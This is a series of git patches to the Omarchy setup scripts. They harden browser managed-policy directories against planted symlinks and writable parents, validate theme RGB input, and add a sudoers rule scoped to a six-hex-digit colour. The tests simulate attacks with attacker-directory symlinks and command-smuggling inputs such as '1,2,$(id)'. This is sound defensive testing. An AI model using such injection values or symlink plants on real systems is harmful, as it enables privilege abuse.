12:10:08 -0600 Subject: [PATCH 062/336] Harden browser policy parent directories and validate theme RGB install -d follows a planted ancestor symlink, and a writable parent can rename the managed leaf aside. chromium.theme is user-installed, so only a 0-255 RGB triple becomes a colour. --- bin/omarchy-theme-set-browser | 11 ++-- install/helpers/browser-policy.sh | 67 ++++++++++++++++++++ migrations/1787515927.sh | 4 +- test/shell.d/browser-policy-dir-test.sh | 83 +++++++++++++++++++++++++ test/shell.d/default-apps-test.sh | 4 ++ 5 files changed, 161 insertions(+), 8 deletions(-) diff --git a/bin/omarchy-theme-set-browser b/bin/omarchy-theme-set-browser index a22cb0d6..60fa3211 100755 --- a/bin/omarchy-theme-set-browser +++ b/bin/omarchy-theme-set-browser @@ -3,18 +3,15 @@ # omarchy:summary=Apply the current theme color to Chromium, Chrome, Edge, and Brave # omarchy:hidden=true +source "$OMARCHY_PATH/install/helpers/browser-policy.sh" + CHROMIUM_THEME=$HOME/.local/state/omarchy/current/theme/chromium.theme +THEME_HEX_COLOR=$BROWSER_POLICY_DEFAULT_COLOR if [[ -f $CHROMIUM_THEME ]]; then - THEME_RGB_COLOR=$(<$CHROMIUM_THEME) - THEME_HEX_COLOR=$(printf '#%02x%02x%02x' ${THEME_RGB_COLOR//,/ }) -else - # Use a default, neutral grey if theme doesn't have a color - THEME_HEX_COLOR="#1c2027" + THEME_HEX_COLOR=$(browser_policy_theme_hex "$(<$CHROMIUM_THEME)") fi -source "$OMARCHY_PATH/install/helpers/browser-policy.sh" - set_browser_policy() { browser_policy_write_color "$1" "$THEME_HEX_COLOR" } diff --git a/install/helpers/browser-policy.sh b/install/helpers/browser-policy.sh index b383e325..8826243b 100644 --- a/install/helpers/browser-policy.sh +++ b/install/helpers/browser-policy.sh @@ -13,11 +13,26 @@ BROWSER_POLICY_MANAGED_DIRS=( /etc/brave/policies/managed ) +# Ancestors of the managed dirs, shortest first. A writable or attacker-owned +# parent can rename the leaf aside; install -d follows a planted symlink. +BROWSER_POLICY_PARENT_DIRS=( + /etc/chromium + /etc/chromium/policies + /etc/opt/chrome + /etc/opt/chrome/policies + /etc/opt/edge + /etc/opt/edge/policies + /etc/brave + /etc/brave/policies +) + BROWSER_POLICY_FIREFOX_DIRS=( /usr/lib/firefox/distribution /opt/zen-browser/distribution ) +BROWSER_POLICY_DEFAULT_COLOR="#1c2027" + browser_policy_setup_group() { local provisioning_dir="${OMARCHY_PROVISIONING_DIR:-/var/lib/omarchy/provisioning}" @@ -59,13 +74,65 @@ browser_policy_dir_hardened() { [[ $(stat -c '%G' "$dir") == $BROWSER_POLICY_GROUP ]] || return 1 } +browser_policy_parent_hardened() { + local dir=$1 + + [[ -d $dir && ! -L $dir ]] || return 1 + [[ $(stat -c '%a' "$dir") == "755" ]] || return 1 + [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 +} + +browser_policy_parents_hardened() { + local dir=$1 + local parent + + for parent in "${BROWSER_POLICY_PARENT_DIRS[@]}"; do + [[ $dir == "$parent"/* ]] || continue + [[ -e $parent || -L $parent ]] || continue + browser_policy_parent_hardened "$parent" || return 1 + done +} + +browser_policy_setup_parent() { + local dir=$1 + + if [[ -L $dir || ( -e $dir && ! -d $dir ) ]]; then + as_root rm -rf -- "$dir" + fi + as_root install -d -m 0755 -o root -g root "$dir" +} + +browser_policy_setup_parents_for() { + local dir=$1 + local parent + + for parent in "${BROWSER_POLICY_PARENT_DIRS[@]}"; do + [[ $dir == "$parent"/* ]] || continue + browser_policy_setup_parent "$parent" + done +} + browser_policy_setup_dir() { local dir=$1 + browser_policy_setup_parents_for "$dir" as_root install -d -m 2775 -o root -g "$BROWSER_POLICY_GROUP" "$dir" browser_policy_purge_dir "$dir" } +# Themes are user-installed. Accept only three 0-255 components. +browser_policy_theme_hex() { + local theme_rgb=$1 + + if [[ $theme_rgb =~ ^[[:space:]]*([0-9]{1,3})[[:space:]]*,[[:space:]]*([0-9]{1,3})[[:space:]]*,[[:space:]]*([0-9]{1,3})[[:space:]]*$ ]] && + (( 10#${BASH_REMATCH[1]} < 256 && 10#${BASH_REMATCH[2]} < 256 && 10#${BASH_REMATCH[3]} < 256 )); then + printf '#%02x%02x%02x' "$((10#${BASH_REMATCH[1]}))" "$((10#${BASH_REMATCH[2]}))" "$((10#${BASH_REMATCH[3]}))" + return + fi + + printf '%s' "$BROWSER_POLICY_DEFAULT_COLOR" +} + browser_policy_file_owner() { local user diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh index e16efd20..787418e7 100644 --- a/migrations/1787515927.sh +++ b/migrations/1787515927.sh @@ -8,7 +8,9 @@ browser_policy_grant_user "${USER:-$(id -un)}" repaired=0 for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do [[ -d $dir ]] || continue - browser_policy_dir_hardened "$dir" && continue + if browser_policy_dir_hardened "$dir" && browser_policy_parents_hardened "$dir"; then + continue + fi browser_policy_setup_dir "$dir" repaired=1 done diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index 63591de1..7092a515 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -168,6 +168,87 @@ fi BROWSER_POLICY_GROUP=omarchy-browser-policy pass "a hardened directory must be root-owned" +saved_parent_dirs=("${BROWSER_POLICY_PARENT_DIRS[@]}") +parent_root=$test_tmp/parents +mkdir -p "$parent_root/etc/chromium/policies/managed/keep" +printf 'keep\n' >"$parent_root/etc/chromium/policies/managed/keep/x" +chmod 0777 "$parent_root/etc/chromium" "$parent_root/etc/chromium/policies" +chmod 2775 "$parent_root/etc/chromium/policies/managed" +BROWSER_POLICY_PARENT_DIRS=( + "$parent_root/etc/chromium" + "$parent_root/etc/chromium/policies" +) +as_root() { unprivileged_as_root "$@"; } +if browser_policy_parents_hardened "$parent_root/etc/chromium/policies/managed"; then + fail "a world-writable policy parent is not treated as hardened" +fi +browser_policy_setup_parents_for "$parent_root/etc/chromium/policies/managed" +mode=$(stat -c '%a' "$parent_root/etc/chromium") +[[ $mode == "755" ]] || fail "setup tightens /etc/chromium" "mode=$mode" +mode=$(stat -c '%a' "$parent_root/etc/chromium/policies") +[[ $mode == "755" ]] || fail "setup tightens /etc/chromium/policies" "mode=$mode" +[[ -d $parent_root/etc/chromium/policies/managed/keep ]] || + fail "parent repair does not purge the managed directory" +pass "policy parent directories are tightened to 0755 without purging the leaf" + +symlink_root=$test_tmp/symlink-parents +mkdir -p "$symlink_root/etc" "$symlink_root/attacker/policies/managed" +printf 'planted\n' >"$symlink_root/attacker/policies/managed/evil.json" +ln -s "$symlink_root/attacker" "$symlink_root/etc/chromium" +BROWSER_POLICY_PARENT_DIRS=( + "$symlink_root/etc/chromium" + "$symlink_root/etc/chromium/policies" +) +as_root() { unprivileged_as_root "$@"; } +browser_policy_setup_dir "$symlink_root/etc/chromium/policies/managed" +[[ ! -L $symlink_root/etc/chromium ]] || fail "setup replaces a planted /etc/chromium symlink" +[[ -d $symlink_root/etc/chromium && ! -L $symlink_root/etc/chromium ]] || + fail "setup recreates /etc/chromium as a real directory" +[[ -d $symlink_root/etc/chromium/policies && ! -L $symlink_root/etc/chromium/policies ]] || + fail "setup recreates /etc/chromium/policies as a real directory" +[[ ! -e $symlink_root/etc/chromium/policies/managed/evil.json ]] || + fail "setup does not keep policy that lived behind a planted parent symlink" +grep -Fxq 'planted' "$symlink_root/attacker/policies/managed/evil.json" || + fail "replacing a parent symlink does not delete the symlink target" +BROWSER_POLICY_PARENT_DIRS=("${saved_parent_dirs[@]}") +pass "policy setup does not follow a planted parent symlink" + +[[ $(browser_policy_theme_hex "242,240,229") == "#f2f0e5" ]] || + fail "theme colour converts an RGB triple to hex" +[[ $(browser_policy_theme_hex $'14,31,41\n') == "#0e1f29" ]] || + fail "theme colour accepts a trailing newline" +[[ $(browser_policy_theme_hex "0,0,0") == "#000000" ]] || + fail "theme colour pads single-digit components" +[[ $(browser_policy_theme_hex " 12 , 11 , 12 ") == "#0c0b0c" ]] || + fail "theme colour tolerates surrounding whitespace" +[[ $(browser_policy_theme_hex "08,09,10") == "#08090a" ]] || + fail "theme colour treats leading zeros as decimal" +for malformed in "" "not,a,color" "1,2" "1,2,3,4" "256,0,0" "999,999,999" "-1,0,0" \ + "1,2,3;id" '1,2,$(id)' "0x10,0,0" "1,2,3 4,5,6"; do + [[ $(browser_policy_theme_hex "$malformed") == "#1c2027" ]] || + fail "theme colour falls back to the neutral grey for '$malformed'" +done +pass "theme colour is six hex digits or the stock grey" + +for theme in "$ROOT"/themes/*/chromium.theme; do + [[ -f $theme ]] || continue + rgb=$(<$theme) + hex=$(browser_policy_theme_hex "$rgb") + [[ $hex =~ ^#[0-9a-f]{6}$ ]] || + fail "shipped $(basename "$(dirname "$theme")") chromium.theme parses as hex" "got: $hex from $(printf %q "$rgb")" + if [[ $hex == "#1c2027" && ! $rgb =~ ^[[:space:]]*28[[:space:]]*,[[:space:]]*32[[:space:]]*,[[:space:]]*39[[:space:]]*$ ]]; then + fail "shipped $(basename "$(dirname "$theme")") chromium.theme is a valid RGB triple" "got: $(printf %q "$rgb")" + fi +done +pass "shipped chromium.theme files parse as RGB triples" + +grep -F 'browser_policy_theme_hex' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null || + fail "omarchy-theme-set-browser parses chromium.theme through browser_policy_theme_hex" +if grep -E 'printf.*THEME_RGB_COLOR' "$ROOT/bin/omarchy-theme-set-browser" >/dev/null; then + fail "omarchy-theme-set-browser does not hand unvetted theme words to printf" +fi +pass "omarchy-theme-set-browser validates the theme colour" + fx_policy=$test_tmp/policies.json printf '%s\n' '{"policies":{}}' >"$fx_policy" chmod 644 "$fx_policy" @@ -247,6 +328,8 @@ mapfile -t migrations < <(rg -l 'Stop world-writable Chromium and Firefox policy (( ${#migrations[@]} == 1 )) || fail "exactly one migration locks existing policy directories" "${migrations[*]}" grep -F 'browser_policy_dir_hardened' "${migrations[0]}" >/dev/null || fail "the policy-directory migration no-ops a machine already repaired" +grep -F 'browser_policy_parents_hardened' "${migrations[0]}" >/dev/null || + fail "the policy-directory migration repairs a world-writable parent of a hardened leaf" grep -F 'browser_policy_grant_user' "${migrations[0]}" >/dev/null || fail "the policy-directory migration still grants the current user the group" grep -F 'BROWSER_POLICY_FIREFOX_DIRS' "${migrations[0]}" >/dev/null || diff --git a/test/shell.d/default-apps-test.sh b/test/shell.d/default-apps-test.sh index 00a9af55..c88c2253 100755 --- a/test/shell.d/default-apps-test.sh +++ b/test/shell.d/default-apps-test.sh @@ -210,6 +210,10 @@ cmp -s "$ROOT/config/chromium-flags.conf" "$test_home/.config/chromium-flags.con fail "Chromium browser installer copies the default flags" grep -Fxq 'sudo:groupadd --system --force omarchy-browser-policy' "$setup_log" || fail "Chromium browser installer creates the browser-policy group" +grep -Fxq 'sudo:install -d -m 0755 -o root -g root /etc/chromium' "$setup_log" || + fail "Chromium browser installer creates a root-owned Chromium policy parent" +grep -Fxq 'sudo:install -d -m 0755 -o root -g root /etc/chromium/policies' "$setup_log" || + fail "Chromium browser installer creates a root-owned Chromium policies parent" grep -Fxq 'sudo:install -d -m 2775 -o root -g omarchy-browser-policy /etc/chromium/policies/managed' "$setup_log" || fail "Chromium browser installer creates a group-writable managed policy directory" grep -Fxq 'sudo:find /etc/chromium/policies/managed -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} +' "$setup_log" || From 44a186afe48891f5304cd14fafa3462093cfede9 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Tue, 25 Aug 2026 12:14:52 -0600 Subject: [PATCH 063/336] Replace planted policy directory symlinks instead of following them install -d follows a managed or distribution symlink and would chmod the target. Unlink those paths first, and treat a dangling symlink as a directory the migration still has to repair. --- install/helpers/browser-policy.sh | 9 +++-- migrations/1787515927.sh | 6 ++-- test/shell.d/browser-policy-dir-test.sh | 44 +++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 6 deletions(-) diff --git a/install/helpers/browser-policy.sh b/install/helpers/browser-policy.sh index 8826243b..687edce2 100644 --- a/install/helpers/browser-policy.sh +++ b/install/helpers/browser-policy.sh @@ -68,7 +68,7 @@ browser_policy_purge_dir() { browser_policy_dir_hardened() { local dir=$1 - [[ -d $dir ]] || return 1 + [[ -d $dir && ! -L $dir ]] || return 1 [[ $(stat -c '%a' "$dir") == "2775" ]] || return 1 [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 [[ $(stat -c '%G' "$dir") == $BROWSER_POLICY_GROUP ]] || return 1 @@ -116,6 +116,9 @@ browser_policy_setup_dir() { local dir=$1 browser_policy_setup_parents_for "$dir" + if [[ -L $dir || ( -e $dir && ! -d $dir ) ]]; then + as_root rm -rf -- "$dir" + fi as_root install -d -m 2775 -o root -g "$BROWSER_POLICY_GROUP" "$dir" browser_policy_purge_dir "$dir" } @@ -229,7 +232,7 @@ browser_policy_firefox_policy_file_ok() { browser_policy_firefox_hardened() { local dir=$1 - [[ -d $dir ]] || return 1 + [[ -d $dir && ! -L $dir ]] || return 1 [[ $(stat -c '%a' "$dir") == "755" ]] || return 1 [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 browser_policy_firefox_policy_file_ok "$dir/policies.json" @@ -246,7 +249,7 @@ browser_policy_setup_firefox_distribution() { local distribution_dir=$1 local policies=${2:-$OMARCHY_PATH/default/firefox/policies.json} - as_root install -d -m 0755 -o root -g root "$distribution_dir" + browser_policy_setup_parent "$distribution_dir" browser_policy_purge_dir "$distribution_dir" browser_policy_install_firefox_policies "$distribution_dir" "$policies" } diff --git a/migrations/1787515927.sh b/migrations/1787515927.sh index 787418e7..113daf34 100644 --- a/migrations/1787515927.sh +++ b/migrations/1787515927.sh @@ -7,7 +7,7 @@ browser_policy_grant_user "${USER:-$(id -un)}" repaired=0 for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do - [[ -d $dir ]] || continue + [[ -d $dir || -L $dir ]] || continue if browser_policy_dir_hardened "$dir" && browser_policy_parents_hardened "$dir"; then continue fi @@ -20,9 +20,9 @@ if (( repaired )); then fi for dir in "${BROWSER_POLICY_FIREFOX_DIRS[@]}"; do - [[ -d $dir ]] || continue + [[ -d $dir || -L $dir ]] || continue browser_policy_firefox_hardened "$dir" && continue - as_root install -d -m 0755 -o root -g root "$dir" + browser_policy_setup_parent "$dir" browser_policy_purge_dir "$dir" if ! browser_policy_firefox_policy_file_ok "$dir/policies.json"; then browser_policy_install_firefox_policies "$dir" diff --git a/test/shell.d/browser-policy-dir-test.sh b/test/shell.d/browser-policy-dir-test.sh index 7092a515..b06f174f 100755 --- a/test/shell.d/browser-policy-dir-test.sh +++ b/test/shell.d/browser-policy-dir-test.sh @@ -213,6 +213,50 @@ grep -Fxq 'planted' "$symlink_root/attacker/policies/managed/evil.json" || BROWSER_POLICY_PARENT_DIRS=("${saved_parent_dirs[@]}") pass "policy setup does not follow a planted parent symlink" +leaf_link_root=$test_tmp/leaf-link +mkdir -p "$leaf_link_root/etc/chromium/policies" "$leaf_link_root/attacker" +printf 'planted\n' >"$leaf_link_root/attacker/evil.json" +chmod 755 "$leaf_link_root/etc/chromium" "$leaf_link_root/etc/chromium/policies" +ln -s "$leaf_link_root/attacker" "$leaf_link_root/etc/chromium/policies/managed" +BROWSER_POLICY_PARENT_DIRS=( + "$leaf_link_root/etc/chromium" + "$leaf_link_root/etc/chromium/policies" +) +as_root() { unprivileged_as_root "$@"; } +if browser_policy_dir_hardened "$leaf_link_root/etc/chromium/policies/managed"; then + fail "a planted managed symlink is not treated as hardened" +fi +browser_policy_setup_dir "$leaf_link_root/etc/chromium/policies/managed" +[[ ! -L $leaf_link_root/etc/chromium/policies/managed ]] || + fail "setup replaces a planted managed symlink" +[[ -d $leaf_link_root/etc/chromium/policies/managed && ! -L $leaf_link_root/etc/chromium/policies/managed ]] || + fail "setup recreates managed as a real directory" +[[ ! -e $leaf_link_root/etc/chromium/policies/managed/evil.json ]] || + fail "setup does not keep policy that lived behind a planted managed symlink" +grep -Fxq 'planted' "$leaf_link_root/attacker/evil.json" || + fail "replacing a managed symlink does not delete the symlink target" +BROWSER_POLICY_PARENT_DIRS=("${saved_parent_dirs[@]}") +pass "policy setup does not follow a planted managed symlink" + +fx_link_root=$test_tmp/fx-link +mkdir -p "$fx_link_root/attacker" "$fx_link_root/opt" +printf 'planted\n' >"$fx_link_root/attacker/policies.json" +ln -s "$fx_link_root/attacker" "$fx_link_root/opt/zen" +as_root() { unprivileged_as_root "$@"; } +if browser_policy_firefox_hardened "$fx_link_root/opt/zen"; then + fail "a planted Firefox distribution symlink is not treated as hardened" +fi +browser_policy_setup_firefox_distribution "$fx_link_root/opt/zen" || + fail "Firefox setup replaces a planted distribution symlink" +[[ ! -L $fx_link_root/opt/zen ]] || fail "Firefox setup unlinks a planted distribution symlink" +[[ -d $fx_link_root/opt/zen && ! -L $fx_link_root/opt/zen ]] || + fail "Firefox setup recreates the distribution directory" +[[ -f $fx_link_root/opt/zen/policies.json && ! -L $fx_link_root/opt/zen/policies.json ]] || + fail "Firefox setup writes policies.json into the recreated directory" +grep -Fxq 'planted' "$fx_link_root/attacker/policies.json" || + fail "replacing a Firefox distribution symlink does not delete the symlink target" +pass "Firefox setup does not follow a planted distribution symlink" + [[ $(browser_policy_theme_hex "242,240,229") == "#f2f0e5" ]] || fail "theme colour converts an RGB triple to hex" [[ $(browser_policy_theme_hex $'14,31,41\n') == "#0e1f29" ]] || From bafc9a1000b503856e6fd642b87791cc3ddae5cf Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Tue, 25 Aug 2026 13:01:01 -0600 Subject: [PATCH 064/336] Write browser theme colour through a passwordless helper Managed policy dirs are enterprise trust roots, so they stay 0755 root:root. The menu path takes root for that one write through a sudoers glob of six hex digits, the same shape as omarchy-dns, and falls back to pkexec where the grant is not installed. Drop omarchy-browser-policy; a group member could plant any JSON, not just a colour. --- bin/omarchy-install-browser | 2 - bin/omarchy-provision-owner | 5 +- bin/omarchy-theme-set-browser | 13 +- bin/omarchy-theme-set-browser-policy | 118 +++++++++++++ bin/omarchy-upgrade-to-quattro | 5 +- etc/sudoers.d/omarchy-theme-browser | 8 + install/config/browser-policy.sh | 1 - install/helpers/browser-policy.sh | 117 ++----------- migrations/1787515927.sh | 11 +- test/shell.d/browser-policy-dir-test.sh | 132 +++----------- test/shell.d/browser-policy-sudoers-test.sh | 184 ++++++++++++++++++++ test/shell.d/default-apps-test.sh | 11 +- test/shell.d/provisioning-groups-test.sh | 19 +- test/shell.d/upgrade-to-quattro-test.sh | 11 +- 14 files changed, 383 insertions(+), 254 deletions(-) create mode 100755 bin/omarchy-theme-set-browser-policy create mode 100644 etc/sudoers.d/omarchy-theme-browser create mode 100755 test/shell.d/browser-policy-sudoers-test.sh diff --git a/bin/omarchy-install-browser b/bin/omarchy-install-browser index d808c805..4593bc72 100755 --- a/bin/omarchy-install-browser +++ b/bin/omarchy-install-browser @@ -9,8 +9,6 @@ set -e source "$OMARCHY_PATH/install/helpers/browser-policy.sh" setup_chromium_policy_directory() { - browser_policy_setup_group - browser_policy_grant_user "${USER:-$(id -un)}" browser_policy_setup_dir "$1" } diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index 7c208eb9..0db99f2e 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -744,11 +744,8 @@ create_user() { chmod 440 /etc/sudoers.d/00-omarchy-wheel source "$OMARCHY_PATH/install/helpers/browser-policy.sh" - OMARCHY_INSTALL_USER=$username - OMARCHY_PROVISIONING_DIR=$PROVISIONING_DIR - browser_policy_setup_group for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do - [[ -d $dir ]] || continue + [[ -d $dir || -L $dir ]] || continue browser_policy_setup_dir "$dir" done } diff --git a/bin/omarchy-theme-set-browser b/bin/omarchy-theme-set-browser index 60fa3211..612e586f 100755 --- a/bin/omarchy-theme-set-browser +++ b/bin/omarchy-theme-set-browser @@ -12,10 +12,6 @@ if [[ -f $CHROMIUM_THEME ]]; then THEME_HEX_COLOR=$(browser_policy_theme_hex "$(<$CHROMIUM_THEME)") fi -set_browser_policy() { - browser_policy_write_color "$1" "$THEME_HEX_COLOR" -} - refresh_running_browser() { local process="$1" local command="$2" @@ -27,16 +23,11 @@ refresh_running_browser() { } failed=0 -set_browser_policy /etc/chromium/policies/managed || failed=1 +omarchy-theme-set-browser-policy "${THEME_HEX_COLOR#\#}" || failed=1 + refresh_running_browser chromium chromium - -set_browser_policy /etc/opt/chrome/policies/managed || failed=1 refresh_running_browser chrome google-chrome-stable || refresh_running_browser chrome google-chrome - -set_browser_policy /etc/opt/edge/policies/managed || failed=1 refresh_running_browser msedge microsoft-edge-stable - -set_browser_policy /etc/brave/policies/managed || failed=1 refresh_running_browser brave brave # Match on the binary path: the running process is named plain "brave", and a # bare -f brave-origin pattern would also match the installer's own terminal. diff --git a/bin/omarchy-theme-set-browser-policy b/bin/omarchy-theme-set-browser-policy new file mode 100755 index 00000000..6f628f9b --- /dev/null +++ b/bin/omarchy-theme-set-browser-policy @@ -0,0 +1,118 @@ +#!/bin/bash + +# omarchy:summary=Write the current theme color into the browser policy directories +# omarchy:args= +# omarchy:hidden=true + +set -euo pipefail + +# Whenever this runs as root — invoked directly through the passwordless +# sudoers rule, or re-execed by require_root below — sudo's secure_path decides +# where a bare helper resolves, and a dev link (etc/sudoers.d/omarchy-dev-path) +# prepends a user-writable checkout bin/ to it. Every helper this script calls +# by bare name (printf's builtin aside: install, mktemp, rm) is a system tool, +# never an omarchy-* command, so pin PATH to trusted system directories and keep +# root from resolving one out of that checkout. The unprivileged wrapper phase +# keeps the caller's PATH so it can still find sudo/pkexec. +if (( EUID == 0 )); then + export PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/bin:/sbin +fi + +# Enterprise policy trust roots. The list is fixed here rather than taken from +# the caller: the caller chooses a color, never a path. +POLICY_DIRS=( + /etc/chromium/policies/managed + /etc/opt/chrome/policies/managed + /etc/opt/edge/policies/managed + /etc/brave/policies/managed +) + +# The path etc/sudoers.d/omarchy-theme-browser names. The privileged half always +# runs from there rather than from whichever copy was invoked, so the rule +# matches even where $OMARCHY_PATH points at a checkout. +PACKAGED_PATH=/usr/bin/omarchy-theme-set-browser-policy + +usage() { + echo "Usage: omarchy-theme-set-browser-policy " >&2 +} + +if (( $# != 1 )); then + usage + exit 1 +fi + +color="$1" + +# Six lowercase hex digits is the whole of what this accepts. The leading "#" +# is added when the JSON is written rather than passed in: "#" opens a comment +# in sudoers, and keeping it out of argv lets the sudoers rule spell the +# argument as a plain six-character glob. +if [[ ! $color =~ ^[0-9a-f]{6}$ ]]; then + echo "omarchy-theme-set-browser-policy: expected six lowercase hex digits, got '$color'" >&2 + exit 1 +fi + +# True when sudo would run this exact command without stopping for a password. +# `sudo -l` on its own reports whether a command is permitted, which the blanket +# %wheel rule answers yes to for everything; the long listing prints the matched +# entry's tags, so !authenticate is the grant in +# etc/sudoers.d/omarchy-theme-browser and nothing else. Listing runs nothing +# and, under -n, prompts for nothing. +sudo_grants_passwordless() { + sudo -n -l -l "$PACKAGED_PATH" "$@" 2>/dev/null | grep -q '!authenticate' +} + +require_root() { + if (( EUID == 0 )); then + return + elif [[ -t 0 ]] || sudo_grants_passwordless "$@"; then + exec sudo "$PACKAGED_PATH" "$@" + else + exec pkexec "$PACKAGED_PATH" "$@" + fi +} + +require_root "$color" + +failed=0 +staged="" +cleanup() { + [[ -n $staged ]] && rm -f "$staged" +} +trap cleanup EXIT + +for policy_dir in "${POLICY_DIRS[@]}"; do + # Only browsers Omarchy has installed have a policy directory. Creating one + # here would hand a browser a managed-policy root it does not otherwise have. + [[ -d $policy_dir && ! -L $policy_dir ]] || continue + + dest=$policy_dir/color.json + staged=$(mktemp) || { + failed=1 + continue + } + printf '{"BrowserThemeColor": "#%s", "BrowserColorScheme": "device"}\n' "$color" >"$staged" + + if [[ -L $dest || -d $dest ]]; then + if ! rm -rf -- "$dest"; then + rm -f "$staged" + staged="" + echo "omarchy-theme-set-browser-policy: cannot replace $dest" >&2 + failed=1 + continue + fi + fi + + if ! install -m 0644 -o root -g root -T "$staged" "$dest"; then + rm -f "$staged" + staged="" + echo "omarchy-theme-set-browser-policy: cannot write $dest" >&2 + failed=1 + continue + fi + + rm -f "$staged" + staged="" +done + +exit "$failed" diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index 62ef21b9..32ea6465 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1316,14 +1316,13 @@ apply_system_transition() { if ! as_root test -f "$browser_policy_helper"; then warn "$browser_policy_helper is unavailable; Chromium policy directories were not hardened." else - as_root env OMARCHY_PATH=/usr/share/omarchy OMARCHY_INSTALL_USER="$target_user" \ + as_root env OMARCHY_PATH=/usr/share/omarchy \ bash -euo pipefail -c ' source "$OMARCHY_PATH/install/helpers/browser-policy.sh" - browser_policy_setup_group browser_policy_setup_dir /etc/chromium/policies/managed for dir in "${BROWSER_POLICY_MANAGED_DIRS[@]}"; do [[ $dir == "/etc/chromium/policies/managed" ]] && continue - [[ -d $dir ]] || continue + [[ -d $dir || -L $dir ]] || continue browser_policy_setup_dir "$dir" done ' diff --git a/etc/sudoers.d/omarchy-theme-browser b/etc/sudoers.d/omarchy-theme-browser new file mode 100644 index 00000000..853d2412 --- /dev/null +++ b/etc/sudoers.d/omarchy-theme-browser @@ -0,0 +1,8 @@ +# Theme switching is a menu action with no terminal to carry a password prompt, +# and it repaints the browser accent on every switch, so this one write must not +# stop for a password. The argument is spelled out as six hex digits rather than +# a wildcard: the grant covers a color and nothing else, and sudoers matches a +# command's arguments exactly, so it cannot be stretched into extra ones. The +# helper revalidates the same shape, since the terminal path does not come +# through this rule. +%wheel ALL=(root) NOPASSWD: /usr/bin/omarchy-theme-set-browser-policy [0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f] diff --git a/install/config/browser-policy.sh b/install/config/browser-policy.sh index a02de2f3..fd802c66 100644 --- a/install/config/browser-policy.sh +++ b/install/config/browser-policy.sh @@ -1,3 +1,2 @@ source "$OMARCHY_PATH/install/helpers/browser-policy.sh" -browser_policy_setup_group browser_policy_setup_dir /etc/chromium/policies/managed diff --git a/install/helpers/browser-policy.sh b/install/helpers/browser-policy.sh index 687edce2..c2c93d8e 100644 --- a/install/helpers/browser-policy.sh +++ b/install/helpers/browser-policy.sh @@ -1,11 +1,9 @@ -# Chromium-family machine policy is mandatory for every profile. A dedicated -# group at 2775 lets every Omarchy user write color.json and every other uid -# read; other-write stays off. Setgid so new files inherit the group. +# Chromium-family machine policy is mandatory for every profile. Directories +# stay 0755 root:root; omarchy-theme-set-browser-policy is the privileged +# write for color.json. source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/as-root.sh" -BROWSER_POLICY_GROUP=omarchy-browser-policy - BROWSER_POLICY_MANAGED_DIRS=( /etc/chromium/policies/managed /etc/opt/chrome/policies/managed @@ -33,47 +31,12 @@ BROWSER_POLICY_FIREFOX_DIRS=( BROWSER_POLICY_DEFAULT_COLOR="#1c2027" -browser_policy_setup_group() { - local provisioning_dir="${OMARCHY_PROVISIONING_DIR:-/var/lib/omarchy/provisioning}" - - as_root groupadd --system --force "$BROWSER_POLICY_GROUP" - as_root mkdir -p "$provisioning_dir" - if ! grep -qxF "$BROWSER_POLICY_GROUP" "$provisioning_dir/groups" 2>/dev/null; then - printf '%s\n' "$BROWSER_POLICY_GROUP" | as_root tee -a "$provisioning_dir/groups" >/dev/null - fi - - if [[ -n ${OMARCHY_INSTALL_USER:-} ]] && getent passwd "$OMARCHY_INSTALL_USER" >/dev/null; then - as_root usermod -aG "$BROWSER_POLICY_GROUP" "$OMARCHY_INSTALL_USER" - fi -} - -browser_policy_grant_user() { - local user=${1:-} - - if [[ -z $user || $user == "root" ]]; then - user=${SUDO_USER:-} - fi - - [[ -n $user && $user != "root" ]] || return 0 - getent passwd "$user" >/dev/null || return 0 - as_root usermod -aG "$BROWSER_POLICY_GROUP" "$user" -} - browser_policy_purge_dir() { local dir=$1 as_root find "$dir" -mindepth 1 -maxdepth 1 ! -user root -exec rm -rf -- {} + } -browser_policy_dir_hardened() { - local dir=$1 - - [[ -d $dir && ! -L $dir ]] || return 1 - [[ $(stat -c '%a' "$dir") == "2775" ]] || return 1 - [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 - [[ $(stat -c '%G' "$dir") == $BROWSER_POLICY_GROUP ]] || return 1 -} - browser_policy_parent_hardened() { local dir=$1 @@ -82,6 +45,10 @@ browser_policy_parent_hardened() { [[ $(stat -c '%U' "$dir") == "root" ]] || return 1 } +browser_policy_dir_hardened() { + browser_policy_parent_hardened "$1" +} + browser_policy_parents_hardened() { local dir=$1 local parent @@ -116,10 +83,7 @@ browser_policy_setup_dir() { local dir=$1 browser_policy_setup_parents_for "$dir" - if [[ -L $dir || ( -e $dir && ! -d $dir ) ]]; then - as_root rm -rf -- "$dir" - fi - as_root install -d -m 2775 -o root -g "$BROWSER_POLICY_GROUP" "$dir" + browser_policy_setup_parent "$dir" browser_policy_purge_dir "$dir" } @@ -136,82 +100,31 @@ browser_policy_theme_hex() { printf '%s' "$BROWSER_POLICY_DEFAULT_COLOR" } -browser_policy_file_owner() { - local user - - if [[ -n ${OMARCHY_INSTALL_USER:-} && $OMARCHY_INSTALL_USER != "root" ]]; then - printf '%s\n' "$OMARCHY_INSTALL_USER" - return - fi - if [[ -n ${SUDO_USER:-} && $SUDO_USER != "root" ]]; then - printf '%s\n' "$SUDO_USER" - return - fi - if [[ -n ${PKEXEC_UID:-} ]]; then - 